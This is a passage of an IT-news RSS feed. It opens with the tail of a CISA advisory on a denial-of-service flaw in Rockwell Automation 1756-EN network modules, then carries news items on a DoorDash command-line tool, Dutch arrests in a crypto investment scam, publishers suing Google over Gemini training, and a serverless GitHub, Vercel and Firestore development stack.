<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1756-EN3: &lt;=V12.001, Rockwell Automation 1756-EN2: &lt;=V12.001, Rockwell Automation 1756-ENBT: V6.006</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users take the following actions: 1756-EN3: Update to V12.002</p>
<p><strong>Vendor fix</strong><br>1756-EN2: Update to V12.002</p>
<p><strong>Vendor fix</strong><br>1756-ENBT: Product is discontinued, fix is unavailable</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/354.html">CWE-354 Improper Validation of Integrity Check Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Tyler Lentz of Idaho National Laboratory reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yes, you can now order DoorDash from the command line]]></title>
<description><![CDATA[DoorDash is opening a limited beta of dd-cli, a command-line tool that lets developers and AI agents search stores, build carts, and place orders from the terminal, marking another step toward software designed for AI agents instead of just humans.]]></description>
<link>https://tsecurity.de/de/3674065/it-nachrichten/yes-you-can-now-order-doordash-from-the-command-line/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674065/it-nachrichten/yes-you-can-now-order-doordash-from-the-command-line/</guid>
<pubDate>Thu, 16 Jul 2026 18:19:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[DoorDash is opening a limited beta of dd-cli, a command-line tool that lets developers and AI agents search stores, build carts, and place orders from the terminal, marking another step toward software designed for AI agents instead of just humans.]]></content:encoded>
</item>
<item>
<title><![CDATA[Dutch Police Arrest Key Suspect in €100M Global Crypto Investment Scam]]></title>
<description><![CDATA[A major global crypto investment scam investigation has led to the arrest of an alleged key figure behind an international criminal organization accused of defrauding victims of more than €100 million every month. Dutch police announced multiple arrests across Europe following a long-running inve...]]></description>
<link>https://tsecurity.de/de/3672412/it-security-nachrichten/dutch-police-arrest-key-suspect-in-100m-global-crypto-investment-scam/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672412/it-security-nachrichten/dutch-police-arrest-key-suspect-in-100m-global-crypto-investment-scam/</guid>
<pubDate>Thu, 16 Jul 2026 07:24:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="global crypto investment scam" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Dutch-Police-global-crypto-investment-scam-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Dutch Police Arrest Key Suspect in €100M Global Crypto Investment Scam 1"></p><div class="qMYqUG_convSearchResultHighlightRoot">
<div class="" data-turn-id-container="request-6a570ccc-c7c4-83e8-8c25-9333dd212593-1" data-is-intersecting="true"><section class="text-token-text-primary w-full focus:outline-none has-data-writing-block:pointer-events-none [&amp;:has([data-writing-block])&gt;*]:pointer-events-auto R6Vx5W_threadScrollVars scroll-mb-[calc(var(--scroll-root-safe-area-inset-bottom,0px)+var(--thread-response-height))] scroll-mt-[calc(var(--header-height)+min(200px,max(70px,20svh)))]" dir="auto" data-turn-id="request-6a570ccc-c7c4-83e8-8c25-9333dd212593-1" data-turn-id-container="request-6a570ccc-c7c4-83e8-8c25-9333dd212593-1" data-testid="conversation-turn-30" data-turn="assistant">
<div class="text-base my-auto mx-auto pb-15 [--thread-content-margin:var(--thread-content-margin-xs,calc(var(--spacing)*4))] @w-sm/main:[--thread-content-margin:var(--thread-content-margin-sm,calc(var(--spacing)*6))] @w-lg/main:[--thread-content-margin:var(--thread-content-margin-lg,calc(var(--spacing)*16))] px-(--thread-content-margin)">
<div class="[--thread-content-max-width:40rem] @w-lg/main:[--thread-content-max-width:48rem] mx-auto max-w-(--thread-content-max-width) flex-1 group/turn-messages focus-visible:outline-hidden relative flex w-full min-w-0 flex-col agent-turn" data-conversation-screenshot-content="">
<div class="flex max-w-full flex-col gap-4 grow">
<div class="min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal outline-none keyboard-focused:focus-ring [.text-message+&amp;]:mt-1" dir="auto" tabindex="0" data-message-author-role="assistant" data-message-id="4b789281-6fe6-42e7-8f60-224abb5fe11f" data-message-model-slug="gpt-5-5" data-turn-start-message="true">
<div class="flex w-full flex-col gap-1 empty:hidden">
<div class="markdown prose dark:prose-invert wrap-break-word w-full light markdown-new-styling">
<p class="PDq2pG_selectionAnchorContainer" data-start="483" data-end="921">A major global crypto investment scam investigation has led to the arrest of an alleged key figure behind an international criminal organization accused of defrauding victims of more than €100 million every month. <a href="https://thecyberexpress.com/wifi-sniffer-russian-spying-dutch-teens/" target="_blank" rel="noopener">Dutch police</a> announced multiple arrests across Europe following a long-running investigation into a fraud network that allegedly employed over 700 people operating from around 20 call centers worldwide.</p>
<p data-start="923" data-end="1254">The main suspect, a 46-year-old dual Israeli and Polish national, was arrested at an airport in Poland on May 26 at the request of Dutch authorities. Investigators believe he played an indispensable role in the organization, which allegedly carried out large-scale <a href="https://thecyberexpress.com/odido-cyberattack-update/" target="_blank" rel="noopener">investment fraud </a>targeting victims across multiple countries.</p>

<h3 data-section-id="1yrlp2m" data-start="1256" data-end="1340"><strong><span role="text">Global Crypto Investment Scam Network Operated Through Worldwide Call Centers</span></strong></h3>
<p data-start="1342" data-end="1692">According to Dutch police, the organization functioned like a professional company with approximately 700 employees spread across nearly 20 offices globally. Individuals working as financial advisors <a class="wpil_keyword_link" href="https://cyble.com/tech-scam/" target="_blank" rel="noopener" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="28982">scam</a> operators allegedly contacted victims daily through online platforms and telephone calls while posing as legitimate investment professionals.</p>
<p data-start="1694" data-end="1965">Authorities <a href="https://www.politie.nl/nieuws/2026/juli/15/02-criminele-organisatie-met-700-medewerkers-verdachten-beleggingsfraude-gearresteerd.html" target="_blank" rel="nofollow noopener">said</a> the organization was structured with a central headquarters overseeing multiple teams, each assigned to target victims in specific countries. Employees reportedly worked under pseudonyms and used technical measures to hide their identities and locations.</p>
<p data-start="1967" data-end="2095"><img class="aligncenter wp-image-113133 size-full" src="https://thecyberexpress.com/wp-content/uploads/crypto-investment-scam-e1784177523473.webp" alt="" width="600" height="338"></p>


[caption id="attachment_113134" align="aligncenter" width="600"]<img class="wp-image-113134 size-full" src="https://thecyberexpress.com/wp-content/uploads/global-crypto-investment-scam-e1784177557156.webp" alt="global crypto investment scam" width="600" height="338"> Excerpts from emails that victims sent to scammers[/caption]
<p data-start="1967" data-end="2095">As part of the investigation, Belgian police arrested five individuals believed to have worked as fraudulent financial advisors.</p>

<h3 data-section-id="wialjj" data-start="2097" data-end="2135"><strong>Multiple Arrests Made Across Europe</strong></h3>
<p data-start="2137" data-end="2215">The investigation resulted in several coordinated arrests during May and July.</p>
<p data-start="2217" data-end="2475">On July 7, authorities arrested two Dutch nationals aged 45 and 34, along with a 34-year-old Belgian, all residing in Cyprus. A 25-year-old suspect was also arrested in Belgium the same day. On July 10, police arrested a 44-year-old Dutch national in Athens.</p>
<p data-start="2477" data-end="2709">The main suspect has since been extradited to the <a href="https://thecyberexpress.com/cyber-fraud-cybersecurity-in-zimbabwe/" target="_blank" rel="noopener">Netherlands</a>, where an examining magistrate ordered 14 days of pre-trial detention. Dutch authorities indicated that additional arrests remain possible as the investigation continues.</p>

<h3 data-section-id="c36f6h" data-start="2711" data-end="2762"><strong><span role="text">How the Global Crypto Investment Scam Worked</span></strong></h3>
<p data-start="2764" data-end="3028">Investigators said the <a href="https://thecyberexpress.com/fbi-in-thailand-scam-centers/" target="_blank" rel="noopener">online investment scam</a> relied on building long-term trust with victims. Individuals posing as account managers or financial advisors maintained frequent contact through phone calls and online communication, sometimes over several months.</p>
<p data-start="3030" data-end="3274">Victims were encouraged to begin with relatively small investments that appeared to generate immediate returns. Police said the investment platforms displayed convincing but fabricated profits, even though no actual investments were being made.</p>
<p data-start="3276" data-end="3524">As confidence grew, victims were persuaded to transfer increasingly larger amounts, often in the form of <a href="https://thecyberexpress.com/cryptocurrency-mixing-service-bitcoin-seized/" target="_blank" rel="noopener">cryptocurrency fraud</a> payments. Instead of being invested, investigators said the funds were diverted directly to the criminal organization.</p>
<p data-start="3526" data-end="3778">Authorities also warned that victims who stop investing may later be contacted by so-called recovery companies requesting upfront deposits to recover lost funds. Police believe these recovery operations may also be connected to the same <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="28983">fraud</a> networks.</p>

<h3 data-section-id="rvl0oo" data-start="3780" data-end="3836"><strong><span role="text">Hundreds of Complaints Linked to Investment Fraud</span></strong></h3>
<p data-start="3838" data-end="4076">Dutch authorities have received approximately 550 reports connected to the organization, while Belgian police have recorded around 200 complaints. Investigators estimate the total number of victims worldwide could reach tens of thousands.</p>
<p data-start="4078" data-end="4221">The financial losses reported by victims in the Netherlands alone amount to nearly €25 million, with many individuals losing well over €10,000.</p>
<p data-start="4223" data-end="4372">Dutch police said officers proactively contacted some victims after discovering that many remained unaware they had fallen victim to <a href="https://thecyberexpress.com/cbi-%E2%82%B91000-cr-cyber-fraud-network/" target="_blank" rel="noopener">cyber fraud</a>.</p>
<p data-start="4374" data-end="4478">Financial investigators are now examining whether assets linked to the suspects can be frozen or seized.</p>

<h3 data-section-id="1pq15d8" data-start="4480" data-end="4519"><strong>Digital Infrastructure Taken Offline</strong></h3>
<p data-start="4521" data-end="4682">Investigators said the criminal organization remained active since at least 2021 and relied heavily on concealed digital infrastructure to evade law enforcement.</p>
<p data-start="4684" data-end="4963">By tracing financial transactions, IP addresses, and other digital evidence, the Dutch police identified offices, suspects, and critical infrastructure supporting the operation. Authorities worked with commercial service providers to take key elements of the network offline.</p>
<p data-start="4965" data-end="5102">The investigation also involved <a href="https://thecyberexpress.com/europol-traces-55-mn-crypto-digital-piracy/" target="_blank" rel="noopener">Europol</a>, with intelligence shared across multiple countries to support ongoing criminal prosecutions.</p>
<p data-start="5104" data-end="5316" data-is-last-node="" data-is-only-node="">Officials said the case demonstrates the scale and sophistication of modern investment fraud operations and highlighted continued international cooperation to dismantle cyber-enabled financial <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="crime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28984">crime</a> networks.</p>

</div>
</div>
</div>
</div>
</div>
</div>
</section></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Book Publishers Sue Google For Copyright Infringement Over Gemini AI Training]]></title>
<description><![CDATA[Major publishers Hachette, Cengage, Elsevier, and author Scott Turow have sued Google, accusing it of using millions of copyrighted books to train Gemini without permission or payment, in "one of the most prolific infringements of copyrighted materials in history." The Guardian reports: The publi...]]></description>
<link>https://tsecurity.de/de/3672052/it-security-nachrichten/book-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672052/it-security-nachrichten/book-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training/</guid>
<pubDate>Thu, 16 Jul 2026 01:08:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Major publishers Hachette, Cengage, Elsevier, and author Scott Turow have sued Google, accusing it of using millions of copyrighted books to train Gemini without permission or payment, in "one of the most prolific infringements of copyrighted materials in history." The Guardian reports: The publishers argue that Google repurposed books that had been supplied for limited services such as Google Books, Google Play Books and Google Scholar. Those services allowed Google to use the works in specific ways -- for example, to display searchable snippets or sell ebooks -- but not, the lawsuit claims, to copy them for training commercial AI products. "Desperate to maintain its online dominance, Google abandoned its early motto of 'Don't be evil' and engaged in one of the most prolific infringements of copyrighted materials in history," the suit states (PDF).
 
According to the complaint, the tech company made copies of copyrighted books to train Gemini without permission or payment, despite internal discussions acknowledging the legal risks. The filing claims Google flagged internally that it could face "$10Bs-$100Bs in potential fines" for using texts provided by publishers for Google Play Books. The publishers say Google's actions are harming authors and the wider publishing industry, arguing that AI-generated content could negatively impact book sales.
 
It notes that, for example, Gemini could generate "a 100-page murder mystery set in a quiet seaside town filled with secrets, that substitutes for an original copyrighted murder mystery on which Gemini trained" in 20 minutes for 39 cents. "No publisher or author can compete with that." The lawsuit names a number of specific books that the publishers allege were among the copyrighted works used without permission, including NK Jemisin's The Fifth Season, and Lemony Snicket's Who Could That Be at This Hour?<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Book+Publishers+Sue+Google+For+Copyright+Infringement+Over+Gemini+AI+Training%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F15%2F2113245%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F15%2F2113245%2Fbook-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/15/2113245/book-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ship faster with GitHub, Vercel, and Firestore]]></title>
<description><![CDATA[These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really c...]]></description>
<link>https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really come of age. Here we’ll take a look at putting together three of the most impressive: GitHub, Vercel, and Firestore.</p>



<p class="wp-block-paragraph">Each of these is an important tool in its own right that can be used to attack specific problems. In combination, they not only meet the needs of several important application scenarios, but they have a superpower—the ability to dramatically shorten the distance between development and deployment.</p>



<p class="wp-block-paragraph">There is nothing quite as gratifying as putting your hands on just the right mix of tools for a given need.</p>



<h2 class="wp-block-heading">A ‘no-ops’ stack built for speed</h2>



<p class="wp-block-paragraph">If your primary goal is sheer development velocity, you would be hard-pressed to top this architecture. This “no-ops” stack collapses the distance between your local IDE and a globally distributed production environment. You are essentially trading the overhead of managing VMs and load balancers for the sheer speed of committing code and watching it deploy automatically.</p>



<p class="wp-block-paragraph">While each component is highly flexible, adopting them requires a specific, event-driven mindset. There are a few finicky bits to manage, mostly around routing environment variables securely and designing around stateless back-end functions. But the constraints are obvious and well-documented.</p>



<p class="wp-block-paragraph">Before we look more closely, let’s quickly identify the kinds of apps that are a perfect fit here, along with those that are workable and those that really merit a different approach.</p>



<ul class="wp-block-list">
<li>The sweet spot (deploy and go): AI-mediated applications, asynchronous game back ends, and real-time collaborative B2B dashboards. This architecture perfectly absorbs the unpredictable latency of LLM APIs and instantly syncs state across multiple clients without requiring you to build custom WebSocket infrastructure.</li>



<li>The middle ground (workable, with trade-offs): Headless e-commerce, moderate IoT telemetry, and apps requiring scheduled batch processing. You will encounter friction if your catalog relies on deeply relational SQL constraints, or if your background reporting jobs take longer than a few minutes and hit serverless execution limits.</li>



<li>The danger zone (look elsewhere): High-frequency trading, fast-paced action multiplayer games, heavy data ETL pipelines, and core financial ledgers. Serverless architectures cannot natively hold open the persistent WebSockets required for twitch-reflex data, and heavy compute tasks will abruptly time out.</li>
</ul>



<p class="wp-block-paragraph">We should mention that these categories are not mutually exclusive. Many enterprise applications, such as a full-scale e-commerce platform, straddle these lines. You might use Vercel and Firestore to build a lightning-fast, reactive storefront that handles ephemeral user state like shopping carts, while simultaneously “stitching in” a managed SQL database like Supabase or PlanetScale. This hybrid approach allows you to maintain the relational integrity required for back-office inventory and financial ledgers and pair it with the front-end velocity this stack provides.</p>



<h2 class="wp-block-heading">GitHub: the bedrock</h2>



<p class="wp-block-paragraph">I don’t need to introduce you to <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a>. It is a central element of the development landscape. I still remember CVS and SVN with a certain nostalgia, but the enhancements of <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git</a> speak for themselves. When combined with the orchestration powers of GitHub, it is no wonder that virtually the whole industry has adopted this type of platform.</p>



<p class="wp-block-paragraph">Git plus GitHub gives you an enormous amount of power already, in terms of how you can organize and automate your projects. But there is a next-level experience in combining GitHub and Vercel. For <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html" data-type="link" data-id="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>-based projects, you can take simple GitHub pushes and turn them into instantly deployed clients and serverless functions. It is one of the cleanest and least fiddly ways to move from raw code on your local machine to a globally deployed, full-stack architecture.</p>



<h2 class="wp-block-heading">Vercel: the nexus</h2>



<p class="wp-block-paragraph">Vercel is more than just a deployment host. It is a control plane that ties this high-velocity, no-ops architecture together. Alongside GitHub and Firestore, Vercel’s deeper strength is its ability to act as an orchestration layer between your reactive front end and external stateful services.</p>



<p class="wp-block-paragraph">Vercel has a great amount of facility in fine-tuning what branches go to what environment and helpful features like instant rollback. You can just log into Vercel’s dashboard for your project and see the history of deployments and any errors and logs. It’s a simple menu choice to roll back to a historical version or compare one version against another.</p>



<p class="wp-block-paragraph">When you “stitch in” third-party services (such as a managed SQL database like <a href="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html" data-type="link" data-id="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html">Supabase</a> or a payment processor like Stripe), Vercel’s serverless functions become the lightweight interface, and Vercel’s the adapters handle the communication. You offload the integration logic (the service layer) to Vercel’s global Edge Network, keeping your UI and back end clean, responsive, and decoupled. </p>



<p class="wp-block-paragraph">In short, Vercel allows you to get the speed of the “no-ops” development life cycle without sacrificing the complex transactional integrity required for some applications like enterprise inventory systems. </p>



<h2 class="wp-block-heading">Firestore: the datastore</h2>



<p class="wp-block-paragraph">Firestore is an extremely lightweight, NoSQL, cloud datastore. It has a great deal of add-on power, but its core value proposition is that it accepts virtually any data you stuff into it and it provides event-driven subscriptions to data changes.</p>



<p class="wp-block-paragraph">These two capabilities together make Firestore about as straightforward a solution to a managed back end as you can imagine. You subscribe to collections or even fields and then you simply stick “unstructured” data (read: JSON with variable fields) in and the client waits for the changes it is interested in.</p>



<p class="wp-block-paragraph">This is so streamlined that one can just point the browser (or native mobile app) directly at Firestore and listen for events. Which immediately raises the question of identity, for auth and for data visibility, but hold on—Firestore’s third superpower is that it has an authentication module <em>that actually works. </em>What I mean is, it is actually pretty simple and yet confidently secures your app.</p>



<p class="wp-block-paragraph">Sometimes auth solutions seem either too simple (and yet opaque) or too mired in the nitty gritty. <a href="https://docs.cloud.google.com/firestore/native/docs/authentication" data-type="link" data-id="https://docs.cloud.google.com/firestore/native/docs/authentication">Firestore auth</a> will let you do some basic configuration and start using a reasonable auth almost immediately. </p>



<p class="wp-block-paragraph">Not to belabor the point, but having a realistic and attainable auth solution elevates your stack to a production grade—one that can handle many real-world applications. Firestore auth plays nicely with other important APIs, like Stripe. Typically, auth is a major feature that feels like off-roading in a Honda Civic, but Firestore’s approach to auth, <em>added to this particular stack</em>, feels like a normal speed bump. It’s just another component you plug in, rather than a tentacled alien you weave into the your code.</p>



<h2 class="wp-block-heading">The limits of the velocity stack</h2>



<p class="wp-block-paragraph">This architecture combines components that are optimized for flexibility. That same character also introduces distinct limitations. Understanding these is essential before committing production workloads.</p>



<h3 class="wp-block-heading">The serverless life cycle</h3>



<p class="wp-block-paragraph">Serverless functions are spun up to handle requests. They close out soon afterward and lose any state. For that reason, they cannot natively hold open persistent WebSockets. If your system requires continuous, sub-millisecond, bidirectional streams—like a real-time multiplayer action game or a high-frequency trading dashboard—pure serverless will fight you all the way. You are forced to introduce a third-party managed WebSocket service to route messages back to your stateless endpoints via HTTP webhooks.</p>



<h3 class="wp-block-heading">The execution time ceiling</h3>



<p class="wp-block-paragraph">Vercel (like all serverless platforms) enforces strict timeouts on operations. While enterprise tiers might grant you up to 15 minutes, standard functions often time out after 10 to 60 seconds. Long-running tasks like video transcoding, database scripts, or orchestrating multi-step AI agent workflows, which might take 20 minutes to resolve, will run up against these limits. Heavy-lifting tasks must be offloaded to a dedicated, long-running service like Google Cloud Run, or broken into smaller, asynchronous chunks via message queues.</p>



<h3 class="wp-block-heading">The cold start reality</h3>



<p class="wp-block-paragraph">While the industry has made massive strides in minimizing initialization times—particularly with lightweight edge networks—traditional Node.js-based serverless functions still experience cold starts. If a function has not been invoked recently, or if traffic spikes require a new instance to spin up concurrently, the first request will take a noticeable latency hit as the container provisions and the code loads.</p>



<h3 class="wp-block-heading">API instead of RAM</h3>



<p class="wp-block-paragraph">In a traditional server environment, you can store transient data in global RAM, allowing subsequent requests to access shared context instantly. In the serverless model, every request might hit a fresh container. Therefore, <em>all</em> shared context must be externalized. Although Firestore serves brilliantly as the state manager, relying on a database for high-frequency, sub-millisecond, ephemeral caching introduces network latency and per-operation costs. That said, using a shared RAM state on a server is non-trivial also, unless you are using a single app server and VM (because high-availability or fail-over requirements will lessen the RAM win on a traditional server).</p>



<h2 class="wp-block-heading">Tuning for velocity and control</h2>



<p class="wp-block-paragraph">Every architectural decision is a trade-off. There are no cost-free choices. By adopting the GitHub, Vercel, and Firestore stack, you are explicitly maximizing feature velocity over fine-grained control.</p>



<p class="wp-block-paragraph">You lose the ability to tweak the underlying operating system, hold open persistent sockets, or run hour-long back-end scripts. In exchange, you gain an architecture that scales from zero to global distribution instantly, requires virtually no devops maintenance, and perfectly absorbs the asynchronous, event-driven realities of modern application development.</p>



<p class="wp-block-paragraph">For the right application—whether it is a fast-moving prototype or an enterprise AI copilot—this stack doesn’t just save time; it fundamentally changes how quickly a small team (or a single person) can impact the market. You stop worrying about build chains, load balancers, and server patches, and you focus on the central mission: shipping features.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Modernize Your Recovery Infrastructure with VMware Cloud Foundation 9.1]]></title>
<description><![CDATA[Reduce Costs and Achieve Better Outcomes Recovery infrastructure spending has never been higher. Yet for most organizations, it is hard to point to any metrics that show improvement in recovery operations. Restorations take longer. Incidents are harder to recover from. And the financial impact of...]]></description>
<link>https://tsecurity.de/de/3671083/downloads/modernize-your-recovery-infrastructure-with-vmware-cloud-foundation-91/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671083/downloads/modernize-your-recovery-infrastructure-with-vmware-cloud-foundation-91/</guid>
<pubDate>Wed, 15 Jul 2026 17:01:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
